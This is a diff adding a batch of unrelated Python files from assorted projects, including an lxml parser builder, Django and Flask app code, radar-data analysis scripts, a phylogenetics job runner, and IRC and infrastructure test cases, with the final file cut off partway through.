inverted_nsmap: + return inverted_nsmap[namespace] + + def end(self, name): + self.soup.endData() + completed_tag = self.soup.tagStack[-1] + namespace, name = self._getNsTag(name) + nsprefix = None + if namespace is not None: + for inverted_nsmap in reversed(self.nsmaps): + if inverted_nsmap is not None and namespace in inverted_nsmap: + nsprefix = inverted_nsmap[namespace] + break + self.soup.handle_endtag(name, nsprefix) + if self.nsmaps != None: + # This tag, or one of its parents, introduced a namespace + # mapping, so pop it off the stack. + self.nsmaps.pop() + if len(self.nsmaps) == 0: + # Namespaces are no longer in play, so don't bother keeping + # track of the namespace stack. + self.nsmaps = None + + def pi(self, target, data): + pass + + def data(self, content): + self.soup.handle_data(content) + + def doctype(self, name, pubid, system): + self.soup.endData() + doctype = Doctype.for_name_and_ids(name, pubid, system) + self.soup.object_was_parsed(doctype) + + def comment(self, content): + "Handle comments as Comment objects." + self.soup.endData() + self.soup.handle_data(content) + self.soup.endData(Comment) + + def test_fragment_to_document(self, fragment): + """See `TreeBuilder`.""" + return '\n%s' % fragment + + +class LXMLTreeBuilder(HTMLTreeBuilder, LXMLTreeBuilderForXML): + + features = [LXML, HTML, FAST, PERMISSIVE] + is_xml = False + + @property + def default_parser(self): + return etree.HTMLParser + + def feed(self, markup): + self.parser.feed(markup) + self.parser.close() + + def test_fragment_to_document(self, fragment): + """See `TreeBuilder`.""" + return '%s' % fragment diff --git a/pool/shard008/Python/0079126_aimotion_apriori_test.py b/pool/shard008/Python/0079126_aimotion_apriori_test.py new file mode 100644 index 0000000000000000000000000000000000000000..71936559d0a24062b894942b428c10fdd1016216 --- /dev/null +++ b/pool/shard008/Python/0079126_aimotion_apriori_test.py @@ -0,0 +1,20 @@ +import aimotion_apriori + +dataset = aimotion_apriori.load_dataset() +print('Das Ergebnis von load_dataset():') +print(dataset) + +C1 = aimotion_apriori.createC1(dataset) +print('Das Ergebnis von createC1():') +print(C1) + + +D = dataset +#set(dataset) +print('Das steht in D:') +print(D) + +L1, support_data = aimotion_apriori.scanD(D,C1,0.1) + +print('Das steht in L1:') +print(L1) diff --git a/pool/shard008/Python/0079135_command_read.py b/pool/shard008/Python/0079135_command_read.py new file mode 100644 index 0000000000000000000000000000000000000000..4db8ef86f8123de3a0285aa2c74ad6299a35a372 --- /dev/null +++ b/pool/shard008/Python/0079135_command_read.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python +# Copyright 2016 Criteo +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +"""Read Command.""" + +from __future__ import print_function + +import time +import datetime + +from biggraphite.cli import command +from biggraphite.cli.command_list import list_metrics +from biggraphite import accessor as bg_accessor + + +class CommandRead(command.BaseCommand): + """Read points.""" + + NAME = "read" + HELP = "read points for one or several specific metrics." + + def add_arguments(self, parser): + """Add custom arguments. + + See command.CommandBase. + """ + parser.add_argument( + "metrics", + help="One metric name or globbing on metrics names" + ) + parser.add_argument( + "--time-start", + action=command.ParseDateTimeArg, + help="Read points written later than this time.", + default=datetime.datetime.now() - datetime.timedelta(minutes=10), + required=False, + ) + parser.add_argument( + "--time-end", + action=command.ParseDateTimeArg, + help="Read points written earlier than this time.", + default=datetime.datetime.now(), + required=False, + ) + parser.add_argument( + "--stage", + help="Read points from this specific stage.", + default="", + required=False, + ) + parser.add_argument( + "--async", + help="Do reads asynchronously.", + action="store_true" + ) + + def run(self, accessor, opts): + """Read points. + + See command.CommandBase. + """ + accessor.connect() + + metrics = list(list_metrics(accessor, opts.metrics)) + + forced_stage = bg_accessor.Stage.from_string(opts.stage) if opts.stage else None + time_start = opts.time_start + time_end = opts.time_end + + async_results = [] + if opts.async: + # Fetch all points asynchronously. + for metric in metrics: + results = self._fetch_points( + accessor, metric, time_start, time_end, forced_stage) + async_results.append(results) + else: + async_results = [None] * len(metrics) + + for metric, results in zip(metrics, async_results): + if not results: + results = self._fetch_points( + accessor, metric, time_start, time_end, forced_stage) + + self._display_metric(metric, results) + + @staticmethod + def _fetch_points(accessor, metric, time_start, time_end, stage): + time_start = time.mktime(time_start.timetuple()) + time_end = time.mktime(time_end.timetuple()) + if stage: + time_start = stage.round_up(time_start) + time_end = stage.round_up(time_end) + else: + time_start, time_end, stage = metric.retention.align_time_window( + time_start, time_end, time.time() + ) + points = accessor.fetch_points(metric, time_start, time_end, stage) + + return (points, time_start, time_end, stage) + + @staticmethod + def _display_metric(metric, results): + """Print metric's information.""" + (points, time_start, time_end, stage) = results + + print("Name: ", metric.name) + print("Time window: %s to %s" % (time_start, time_end)) + print("Stage: ", str(stage)) + print("Points:") + + for point in points: + print('%s: %f' % (point[0], point[1])) + print() diff --git a/pool/shard008/Python/0079137_string_match.py b/pool/shard008/Python/0079137_string_match.py new file mode 100644 index 0000000000000000000000000000000000000000..aafdaed3d8de3b6883c7aca6f354671619e2e72a --- /dev/null +++ b/pool/shard008/Python/0079137_string_match.py @@ -0,0 +1,13 @@ +def string_match(a,b): + n = min(len(a),len(b)) + count = 0 + for i in range(n-1): + if a[i:i+2] == b[i:i+2]: + count += 1 + return count + + +print string_match('xxcaazz','xxbaaz') +print string_match('abc','abc') +print string_match('abc','axc') + diff --git a/pool/shard008/Python/0079144_Medianfinder.py b/pool/shard008/Python/0079144_Medianfinder.py new file mode 100644 index 0000000000000000000000000000000000000000..44e7f7277bf0b949271da9cca0384b9537851135 --- /dev/null +++ b/pool/shard008/Python/0079144_Medianfinder.py @@ -0,0 +1,35 @@ +from heapq import * +class MedianFinder: + def __init__(self): + # self.maxHeap stores the lower half and self.minHeap stores the upper half + self.maxHeap, self.minHeap = [], [] + + def addNum(self, num: int) -> None: + # try to add the number in self.maxHeap first + if not self.maxHeap or -num >= self.maxHeap[0]: + heappush(self.maxHeap, -num) + else: + heappush(self.minHeap, num) + + # if there are more elements than expected then balance + if len(self.maxHeap) > len(self.minHeap) + 1: + out = -heappop(self.maxHeap) + heappush(self.minHeap, out) + elif len(self.maxHeap) < len(self.minHeap): + out = heappop(self.minHeap) + heappush(self.maxHeap, -out) + + def findMedian(self) -> float: + if len(self.maxHeap) == len(self.minHeap): + return (-self.maxHeap[0] + self.minHeap[0]) / 2 + + return -self.maxHeap[0] + + +ob = MedianFinder() +ob.addNum(1) +print(ob.findMedian()) +ob.addNum(2) +print(ob.findMedian()) +ob.addNum(3) +print(ob.findMedian()) \ No newline at end of file diff --git a/pool/shard008/Python/0079148_views.py b/pool/shard008/Python/0079148_views.py new file mode 100644 index 0000000000000000000000000000000000000000..fa5a1c128bea17a83d927a270118c7b2ab569444 --- /dev/null +++ b/pool/shard008/Python/0079148_views.py @@ -0,0 +1,16 @@ +from logmon import app +from flask import render_template + +LOG_FILE = app.config['LOG_FILE'] +MAX_LEN = -100 + + +@app.route('/') +def index(): + with open(LOG_FILE, 'r') as f: + log_buffer = f.readlines() + return render_template('index.html', log_buffer=log_buffer[MAX_LEN:]) + + +if __name__ == '__main__': + app.run() diff --git a/pool/shard008/Python/0079152_compile_sprites.py b/pool/shard008/Python/0079152_compile_sprites.py new file mode 100644 index 0000000000000000000000000000000000000000..262bfda0b6e19426a22036e5c0e7207a75756301 --- /dev/null +++ b/pool/shard008/Python/0079152_compile_sprites.py @@ -0,0 +1,91 @@ +from django.core.management.base import BaseCommand, CommandError +from django.conf import settings + +from nes.models import Pattern +import png + +import os + + +# This reads our bitvalue from the colorization level of red. +def bitval( col ): + if col[0] > 200: return 0 + if col[0] > 120: return 1 + if col[0] > 45: return 2 + return 3 +def get_at( pix, x, y, d=3 ): + pixelrow = pix[y] + return pix[y][ x*d : x*d+3 ] + + +# This command parses PNG files and turns them into appropriate CHR sprite +# sheets that can be used by programmers. +class Command(BaseCommand): + args = '' + help = 'Adds/updates worlds, lessons, challenges, and achievements ' + + # Handler for 'create_world' + def handle(self, *args, **options): + if len(args) < 1: + self.stderr.write('Please provide a directory containing the files '+ + 'relative to PROJECT_DIR.') + + sprites_dir = os.path.join(settings.PROJECT_DIR, '..', args[0]) + + # Now load up all of the achievements. + sprite_listing = os.listdir( sprites_dir ) + for slug in sprite_listing: + try: + img = png.Reader( os.path.join( sprites_dir, slug ) ).asDirect() + pixels = [] + for p in img[2]: + pixels.append(p) + d = img[3]["planes"] + + # Now try to make an achievement or get one already there. + try: p = Pattern.objects.get(name=slug.split('.')[0]) + except: p = Pattern(name=slug.split('.')[0]) + + p.code = "" + for z in [0,1]: + for y in range(16): + for x in range(16): + pix = [[0,0,0,0,0,0,0,0], + [0,0,0,0,0,0,0,0], + [0,0,0,0,0,0,0,0], + [0,0,0,0,0,0,0,0], + [0,0,0,0,0,0,0,0], + [0,0,0,0,0,0,0,0], + [0,0,0,0,0,0,0,0], + [0,0,0,0,0,0,0,0]] + + for a in range(8): + for b in range(8): + pix[a][b] = bitval( get_at( pixels, a+(x*8+128*z) ,b+(y*8), d )) + + + hi = "" + lo = "" + + for i in range(8): # which row (byte in hi or lo) + lb = 0 + hb = 0 + for b in range(8): # which column (bit in hi[i]) + lb = lb << 1 + hb = hb << 1 + + lb += 1 if pix[b][7-i] % 2 else 0 + hb += 1 if pix[b][7-i] > 1 else 0 + + hi = ("%02X"%hb)[:] + hi + lo = ("%02X"%lb)[:] + lo + + p.code += lo + hi + p.save() + + self.stdout.write('Wrote pattern: %s\n'%slug) + + except: self.stderr.write('Skipped pattern: %s\n'%slug) + + self.stdout.write('Successfully compiled spritesheets\n') + diff --git a/pool/shard008/Python/0079154_urls.py b/pool/shard008/Python/0079154_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..b8f565343597a0f58ccecd34d12a96f0d631010b --- /dev/null +++ b/pool/shard008/Python/0079154_urls.py @@ -0,0 +1,42 @@ +# Copyright 2010, 2011 Andrew Glen-Young +# +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from django.conf.urls.defaults import * + +from piston.authentication import HttpBasicAuthentication + +from jumpsuit.api.handlers import HostHandler +from jumpsuit.api.handlers import ReleaseHandler +from jumpsuit.api.handlers import ProfileHandler +from jumpsuit.api.resource import Resource + +basicauth = HttpBasicAuthentication(realm="Jumpsuit") +ad = {'authentication': basicauth} + +host_handler = Resource(HostHandler, **ad) +release_handler = Resource(ReleaseHandler, **ad) +profile_handler = Resource(ProfileHandler, **ad) + +urlpatterns = patterns('', + url(r'^hosts/(?P[a-z0-9\-\_]+)/$', host_handler, + { 'emitter_format': 'json' }, name='jumpsuit_host_handler'), + url(r'^hosts/$', host_handler), + url(r'^profiles/(?P[a-z0-9\-\_]+)/$', profile_handler, + { 'emitter_format': 'json' }, name='jumpsuit_profile_handler'), + url(r'^profiles/$', profile_handler), + url(r'^releases/(?P[a-z0-9\-\_]+)/$', release_handler, + { 'emitter_format': 'json' }, name='jumpsuit_release_handler'), + url(r'^releases/$', release_handler), +) diff --git a/pool/shard008/Python/0079158_urls.py b/pool/shard008/Python/0079158_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..7ebf6b2f53ad1ac62720cf80977196118d5e558f --- /dev/null +++ b/pool/shard008/Python/0079158_urls.py @@ -0,0 +1,39 @@ +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +from django.conf.urls.defaults import patterns, include, url +from django.conf import settings +# Uncomment the next two lines to enable the admin: +from django.contrib import admin +admin.autodiscover() + +urlpatterns = patterns('', + # Examples: + # url(r'^$', 'mupy.views.home', name='home'), + url(r'^', include('muparse.urls')), + url(r'^accounts/login/$', 'django.contrib.auth.views.login'), + url(r'^logout/?', 'django.contrib.auth.views.logout', {'next_page': '/'}, name="logout"), + # Uncomment the admin/doc line below to enable admin documentation: + #url(r'^admin/doc/', include('django.contrib.admindocs.urls')), + + # Uncomment the next line to enable the admin: + url(r'^admin/', include(admin.site.urls)), +) + + +if settings.DEBUG: + urlpatterns += patterns('', + (r'^static/(?P.*)', 'django.views.static.serve',\ + {'document_root': settings.STATIC_URL}), + ) diff --git a/pool/shard008/Python/0079165_drawLinYenTingCharts.py b/pool/shard008/Python/0079165_drawLinYenTingCharts.py new file mode 100644 index 0000000000000000000000000000000000000000..8cf9b9b794d1cde11fafcc6b92f8d052b66d51e8 --- /dev/null +++ b/pool/shard008/Python/0079165_drawLinYenTingCharts.py @@ -0,0 +1,199 @@ +#drawLinYenTingCharts.py + +""" + 1. imports + 2. define the parameters + 3. transform the coordinates to grid squares + 4. draw grid squares + 5. get shiiba vector field + 6. draw shifted + bigger squares +""" +# 1. imports +import numpy as np +from armor import pattern +from armor import defaultParameters as dp +from armor.taiwanReliefData import convertToGrid as cg +from armor import objects4 as ob +DBZ = pattern.DBZ +a = pattern.a +b = DBZ('20120612.0210') +a.load() +b.load() +#a.show() +#b.show() + +# 2. define the parameters - decimal first, will transform later +outputFolder = dp.root + 'labLogs2/localNonstandardKer/' + +""" +se =[[21.50, 120.50], + [24.23, 122.10]] + +ne =[[24.23, 121.23], + [25.12, 122.07]] + +ss =[[21.50, 120.18], + [22.45, 120.50]] + +sw =[[22.45, 120.00], + [23.52, 121.06]] + +mw =[[23.52, 120.+0.201*60/100], + [24.30, 121.13]] + +nw =[[24.30, 120.+ 0.007*60/100], + [25.36, 121.44]] +""" + +z1 = [[24.05, 119.07], + [25.17, 120.17]] + +z2 = [[24.05, 119.07], + [25.36, 121.43]] + +z3 = [[24.30, 120.36], + [25.36, 121.43]] + + +dbzstream = ob.march2014 +dbzstream = ob.monsoon +# 3. transform the coordinates to grid squares + + + + + +regions = [] +#for region in [se, ne, ss, sw, mw, nw]: +for region in [z1, z2, z3]: + region = np.array(region) + #region[1,:] = region[1,:] - region[0,:] + reg4 = region.flatten() + reg4 = [int(v) + 100./60. * (v%1) for v in reg4] + #print reg4 + reg4 = [reg4[1], reg4[0], reg4[3], reg4[2]] + reg4 = cg.convert(reg4, lowerLeft=(115, 18), upperRight= (126.5, 29), + width=920, height=880, verbose=True) + print reg4 + reg4 = np.array([reg4[1], reg4[0], reg4[3], reg4[2]]).astype(int) + #reg4 = reg4.astype(int) + reg4[2:4] -= reg4[0:2] + print "region:", reg4 + regions.append(reg4) + + # 4. draw grid squares +for a in dbzstream: + a.load() + a.backupMatrix("original") + for reg4 in regions: + a.drawRectangle(newObject=False, *reg4) + + a.backupMatrix("sqaures") + #a.showWithCoast() + a.drawCoast() + a.saveImage(imagePath=outputFolder+a.name+'.png') + + +# 5. get shiiba vector field +# 6. draw shifted + bigger squares +# +################################################################################ + + #### #### #### #### #### #### #### #### #### + + +z1, z2, z3 = regions + + + #### #### #### #### #### #### #### #### #### + + +################################################################################ +# codes adapted from python/armor/start4.py + +import time +import shutil +import os + +time0 = time.time() +startTime =time.asctime() + +from armor import defaultParameters as dp +from armor import misc +from armor import pattern, pattern2 +p2 = pattern2 +from armor.patternMatching import pipeline as pp, algorithms +from armor.filter import filters +################################################################################## +# set up +hualien4 = misc.getFourCorners(dp.hualienCounty) +yilan4 = misc.getFourCorners(dp.yilanCounty) +kaohsiung4 = misc.getFourCorners(dp.kaohsiungCounty) +taichung4 = misc.getFourCorners(dp.taichungCounty) +tainan4 = misc.getFourCorners(dp.tainanCounty) +taipei4 = misc.getFourCorners(dp.taipeiCounty) +taitung4 = misc.getFourCorners(dp.taitungCounty) +taipei4a = misc.getFourCorners(z3) + +regions = [ #{'name': "hualien", 'points': hualien4, 'weight': 0.25}, + #{'name': "kaohsiung", 'points':kaohsiung4, 'weight':0.5}, + #{'name': "taipei", 'points':taipei4, 'weight':0.5}, # the rainband comes from north east + #{'name': "taichung", 'points':taichung4, 'weight':0.2}, + #{'name': "tainan", 'points':tainan4, 'weight':0.2}, + #{'name':"taitung", 'points':taitung4, 'weight':0.25}, + #{'name':"yilan", 'points':yilan4, 'weight':0.25}, # no need to add to 1 + {'name': "taipei_a", 'points':taipei4a, 'weight':1.}, #2014-06-03 + ] + +regionsString = "_".join([v['name']+str(round(v['weight'],2)) for v in regions]) +dss = p2.march12 # edit here +obs = dss.obs # edit here +#obs.list = [v for v in obs.list if dss.wrfs[0][0].dataTime[:8] in v.dataTime] # (e.g. "20140312") +#print "obs.list trimmed to length", len(obs.list) #debug + +scriptFileName = "start4.py" +volumeProportionWeight = 0.1 +testName = "nonstanKer" + str(1-volumeProportionWeight)+"_and_volume" + str(volumeProportionWeight) +outputFolder = dp.defaultRootFolder + "labReports/" + testName + "/" + dss.name + "/" +regionsString +'/' +#obs.shortlist = [v for v in obs if "00" in v.dataTime and (not ".00" in v.dataTime) and v.dataTime>="0"] # trim it down +obs.shortlist = [v for v in obs if v.dataTime>="20140312.1250" and v.dataTime<="20140312.1300"] # trim + +if not os.path.exists(outputFolder): + os.makedirs(outputFolder) +shutil.copyfile(dp.defaultRootFolder+"python/armor/"+ scriptFileName, outputFolder+ scriptFileName) +shutil.copyfile(dp.defaultRootFolder+"python/armor/patternMatching/algorithms.py", outputFolder+ "algorithms.py") +shutil.copyfile(dp.defaultRootFolder+"python/armor/patternMatching/pipeline.py", outputFolder+ "pipeline.py") + +################################################################################ +# looping the code + + +for a in obs.shortlist: + #obsTime="20130829.1800" + #kongreyDSS.load() # reload + dss.unload() + obsTime = a.dataTime + pp.pipeline(dss=dss, + filteringAlgorithm = filters.gaussianFilter, + filteringAlgorithmArgs = {'sigma':5, + 'stream_key': "all" }, + matchingAlgorithm = algorithms.nonstandardKernel, + matchingAlgorithmArgs = {'obsTime': obsTime, 'maxHourDiff':6, + 'regions':regions, + 'k' : 24, # steps of semi-lagrangian advections performed + 'shiibaArgs':{'searchWindowWidth':15, 'searchWindowHeight':9, }, + 'outputFolder':outputFolder, + 'volumeProportionWeight':volumeProportionWeight, + } , + outputFolder=outputFolder, + toLoad=False, + #remarks= "Covariance used, rather than correlation: algorithms.py line 221: tempScore = a1.cov(w1)[0,1]", + remarks = "Correlation used" + ) + + +print 'start time:', startTime +print 'total time spent:', time.time()-time0 + + + diff --git a/pool/shard008/Python/0079168_test_single_baremetal_installation_1_nic_1_bond.py b/pool/shard008/Python/0079168_test_single_baremetal_installation_1_nic_1_bond.py new file mode 100644 index 0000000000000000000000000000000000000000..589cc4c06414f5efc93e82f8a4a8395d46084165 --- /dev/null +++ b/pool/shard008/Python/0079168_test_single_baremetal_installation_1_nic_1_bond.py @@ -0,0 +1,53 @@ +import zstackwoodpecker.operations.baremetal_operations as bare_operations +import zstackwoodpecker.test_util as test_util +import zstackwoodpecker.test_lib as test_lib +import test_stub +import os + +vm = None + +def test(): + global vm + # Create VM + vm = test_stub.create_vm() + vm.check() + # Create Virtual BMC + test_stub.create_vbmc(vm = vm, port = 6230) + # Create Chassis + chassis = os.environ.get('ipminame') + test_stub.create_chassis(chassis_name = chassis) + test_stub.hack_ks(port = 6230) + chassis_uuid = test_lib.lib_get_chassis_by_name(chassis).uuid + # First time Provision + bare_operations.provision_baremetal(chassis_uuid) + hwinfo = test_stub.check_hwinfo(chassis_uuid) + if not hwinfo: + test_util.test_fail('Fail to get hardware info during the first provision') + #Generate cfgItems + cfgItems, pxe_mac = test_stub.generate_cfgItems(chassis_uuid=chassis_uuid, nic_num=1, nic_flag=False, bond_num=1, slave_num=2, mode=4) + host_cfg = test_stub.create_hostcfg(chassis_uuid=chassis_uuid, unattended=True, password="password", cfgItems=cfgItems) + + test_stub.hack_ks(port = 6230, ks_file = str(pxe_mac.replace(':','-'))) + # Second time Provision to install system + bare_operations.provision_baremetal(chassis_uuid) + if not test_stub.verify_chassis_status(chassis_uuid, "Rebooting"): + test_util.test_fail('Chassis failed to Rebooting after the second provision') + if not test_stub.verify_chassis_status(chassis_uuid, "Provisioning"): + test_util.test_fail('Chassis failed to Provisioning after the second provision') + if not test_stub.verify_chassis_status(chassis_uuid, "Provisioned"): + test_util.test_fail('Chassis failed to Provisioned after the second provision') + vm.stop() + vm.start() + test_stub.delete_vbmc(vm = vm) + bare_operations.delete_chassis(chassis_uuid) + vm.destroy() + test_util.test_pass('Create PXE Test Success') + +def error_cleanup(): + global vm + if vm: + test_stub.delete_vbmc(vm = vm) + chassis = os.environ.get('ipminame') + chassis_uuid = test_lib.lib_get_chassis_by_name(chassis).uuid + bare_operations.delete_chassis(chassis_uuid) + vm.destroy() diff --git a/pool/shard008/Python/0079171_server.py b/pool/shard008/Python/0079171_server.py new file mode 100644 index 0000000000000000000000000000000000000000..f2bd7fa6749ccdb310ba1e7ca185c2b2ce3b1f4e --- /dev/null +++ b/pool/shard008/Python/0079171_server.py @@ -0,0 +1,11 @@ +import matplotlib.pyplot as plt +import io + +def file(data): + if data['filename']=='data.txt': + return 'This data is generated by code.' + elif data['filename']=='figure.png': + plt.plot([1,2,3],[3,4,-2]) + buf = io.BytesIO() + plt.savefig(buf,format='png') + return buf diff --git a/pool/shard008/Python/0079185_run_pb_job.py b/pool/shard008/Python/0079185_run_pb_job.py new file mode 100644 index 0000000000000000000000000000000000000000..d08b8911156cadf32e8c9b4172beae6964f39548 --- /dev/null +++ b/pool/shard008/Python/0079185_run_pb_job.py @@ -0,0 +1,64 @@ +#run two pb chains, keep them running, periodically check for convergence +import subprocess, sys, time, re, os + +def start_pb_jobs(infile, bn): + os.system('pb -d ' + infile + ' -catfix C60 -lg ' + bn + '_c60_lg_chain1 &') + os.system('pb -d ' + infile + ' -catfix C60 -lg ' + bn + '_c60_lg_chain2 &') + return + +def check_convergence(infile, bn): + #first check whether enough points have been sampled + num_samples = sum(1 for line in open(bn + '_c60_lg_chain1.trace')) + if num_samples >= 6667: + burnin = int(float(num_samples)/4.0) + #enough samples. Check bpcomp and tracecomp diagnostics + #bp_proc = subprocess.Popen('bpcomp -o ' + infile[:-4] + '_c60_lg -x ' + str(burnin) + ' ' + infile[:-4] + '_c60_lg_chain1 ' + infile[:-4] + '_c60_lg_chain2',stdout=subprocess.PIPE) + bp_res = 0 + tr_res = 0 + bpcheck = os.popen('bpcomp -o ' + bn + '_c60_lg -x ' + str(burnin) + ' ' + bn + '_c60_lg_chain1 ' + bn + '_c60_lg_chain2').read() + lines = bpcheck.splitlines() + print "Bpcomp:" + for line in lines: + print line.rstrip() + if line.startswith("maxdiff"): + fields = re.split("\s+", line.rstrip()) + if float(fields[-1]) <= 0.3: + print "Converged because maxdiff is " + str(fields[-1]) + bp_res = 1 + else: + print "Not converged yet: maxdiff is " + str(fields[-1]) + #now check tracecomp + trcheck = os.popen('tracecomp -x ' + str(burnin) + ' ' + bn + '_c60_lg_chain1 ' + bn + '_c60_lg_chain2').read() + + t_lines = trcheck.splitlines() + print "Tracecomp:" + for line in t_lines: + print line.rstrip() + fields = re.split('\s+', line.rstrip()) + if len(fields) > 1: + if fields[0] == 'name': + continue + else: + if float(fields[1]) >= 100.0: + print "Converged : " + fields[0] + " " + fields[1] + tr_res += 1 + else: + print "Not converged yet : " + fields[1] + if float(fields[2]) <= 0.1: + tr_res += 1 + print "Converged : " + fields[0] + " " + fields[2] + else: + print "Not converged yet : " + fields[2] + if bp_res == 1 and tr_res == 16: + stop1 = os.system('stoppb ' + bn + '_c60_lg_chain1') + stop2 = os.system('stoppb ' + bn + '_c60_lg_chain2') + quit() + return + else: + return + +base_name = sys.argv[1][:-4] +start_pb_jobs(sys.argv[1], base_name) +while True: + time.sleep(3600) #check for convergence once an hour + check_convergence(sys.argv[1], base_name) diff --git a/pool/shard008/Python/0079189_part.py b/pool/shard008/Python/0079189_part.py new file mode 100644 index 0000000000000000000000000000000000000000..acc2f86940aa6f3b0bb6183bcb5b456db4da60e7 --- /dev/null +++ b/pool/shard008/Python/0079189_part.py @@ -0,0 +1,148 @@ +import time + +from irctest import cases + + +class PartTestCase(cases.BaseServerTestCase): + @cases.mark_specifications("RFC1459", "RFC2812") + def testPartNotInEmptyChannel(self): + """“442 ERR_NOTONCHANNEL + " :You're not on that channel" + + - Returned by the server whenever a client tries to + perform a channel effecting command for which the + client isn't a member.” + -- + and + + According to RFCs, ERR_NOSUCHCHANNEL should only be used for invalid + channel names: + “403 ERR_NOSUCHCHANNEL + " :No such channel" + + - Used to indicate the given channel name is invalid.” + -- + and + + However, many implementations use 479 instead, so let's allow it. + + + """ + self.connectClient("foo") + self.sendLine(1, "PART #chan") + m = self.getMessage(1) + self.assertIn( + m.command, + {"442", "403"}, + m, # ERR_NOTONCHANNEL, ERR_NOSUCHCHANNEL + fail_msg="Expected ERR_NOTONCHANNEL (442) or " + "ERR_NOSUCHCHANNEL (403) after PARTing an empty channel " + "one is not on, but got: {msg}", + ) + + @cases.mark_specifications("RFC1459", "RFC2812") + def testPartNotInNonEmptyChannel(self): + self.connectClient("foo") + self.connectClient("bar") + self.sendLine(1, "JOIN #chan") + self.getMessages(1) # Synchronize + self.sendLine(2, "PART #chan") + m = self.getMessage(2) + self.assertMessageMatch( + m, + command="442", # ERR_NOTONCHANNEL + fail_msg="Expected ERR_NOTONCHANNEL (442) " + "after PARTing a non-empty channel " + "one is not on, but got: {msg}", + ) + self.assertEqual(self.getMessages(2), []) + + testPartNotInNonEmptyChannel.__doc__ = testPartNotInEmptyChannel.__doc__ + + @cases.mark_specifications("RFC1459", "RFC2812") + def testBasicPart(self): + self.connectClient("bar") + self.sendLine(1, "JOIN #chan") + m = self.getMessage(1) + self.assertMessageMatch(m, command="JOIN", params=["#chan"]) + + self.connectClient("baz") + self.sendLine(2, "JOIN #chan") + m = self.getMessage(2) + self.assertMessageMatch(m, command="JOIN", params=["#chan"]) + + # skip the rest of the JOIN burst: + self.getMessages(1) + self.getMessages(2) + + self.sendLine(1, "PART #chan") + # both the PART'ing client and the other channel member should receive + # a PART line: + m = self.getMessage(1) + self.assertMessageMatch(m, command="PART") + m = self.getMessage(2) + self.assertMessageMatch(m, command="PART") + + @cases.mark_specifications("RFC2812") + def testBasicPartRfc2812(self): + """ + “If a "Part Message" is given, this will be sent + instead of the default message, the nickname.” + """ + self.connectClient("bar") + self.sendLine(1, "JOIN #chan") + m = self.getMessage(1) + self.assertMessageMatch(m, command="JOIN", params=["#chan"]) + + self.connectClient("baz") + self.sendLine(2, "JOIN #chan") + m = self.getMessage(2) + self.assertMessageMatch(m, command="JOIN", params=["#chan"]) + + # skip the rest of the JOIN burst: + self.getMessages(1) + self.getMessages(2) + + # Despite `anti_spam_exit_message_time = 0`, hybrid does not immediately + # allow custom PART reasons. + time.sleep(1) + + self.sendLine(1, "PART #chan :bye everyone") + # both the PART'ing client and the other channel member should receive + # a PART line: + m = self.getMessage(1) + self.assertMessageMatch(m, command="PART", params=["#chan", "bye everyone"]) + m = self.getMessage(2) + self.assertMessageMatch(m, command="PART", params=["#chan", "bye everyone"]) + + @cases.mark_specifications("RFC2812") + def testPartMessage(self): + """ + “If a "Part Message" is given, this will be sent + instead of the default message, the nickname.” + """ + self.connectClient("bar") + self.sendLine(1, "JOIN #chan") + m = self.getMessage(1) + self.assertMessageMatch(m, command="JOIN", params=["#chan"]) + + self.connectClient("baz") + self.sendLine(2, "JOIN #chan") + m = self.getMessage(2) + self.assertMessageMatch(m, command="JOIN", params=["#chan"]) + + # skip the rest of the JOIN burst: + self.getMessages(1) + self.getMessages(2) + + # Despite `anti_spam_exit_message_time = 0`, hybrid does not immediately + # allow custom PART reasons. + time.sleep(1) + + self.sendLine(1, "PART #chan :bye everyone") + # both the PART'ing client and the other channel member should receive + # a PART line: + m = self.getMessage(1) + self.assertMessageMatch(m, command="PART", params=["#chan", "bye everyone"]) + m = self.getMessage(2) + self.assertMessageMatch(m, command="PART", params=["#chan", "bye everyone"]) diff --git a/pool/shard008/Python/0079192_test_oneview_fc_network.py b/pool/shard008/Python/0079192_test_oneview_fc_network.py new file mode 100644 index 0000000000000000000000000000000000000000..39b8f8497af94c12b78fafc646090578ccf0c4d8 --- /dev/null +++ b/pool/shard008/Python/0079192_test_oneview_fc_network.py @@ -0,0 +1,174 @@ +# -*- coding: utf-8 -*- +# +# Copyright (2016-2017) Hewlett Packard Enterprise Development LP +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +from ansible.compat.tests import unittest +from oneview_module_loader import FcNetworkModule +from hpe_test_utils import OneViewBaseTestCase + +FAKE_MSG_ERROR = 'Fake message error' + +DEFAULT_FC_NETWORK_TEMPLATE = dict( + name='New FC Network 2', + autoLoginRedistribution=True, + fabricType='FabricAttach' +) + +PARAMS_FOR_PRESENT = dict( + config='config.json', + state='present', + data=dict(name=DEFAULT_FC_NETWORK_TEMPLATE['name']) +) + +PARAMS_WITH_CHANGES = dict( + config='config.json', + state='present', + data=dict(name=DEFAULT_FC_NETWORK_TEMPLATE['name'], + newName="New Name", + 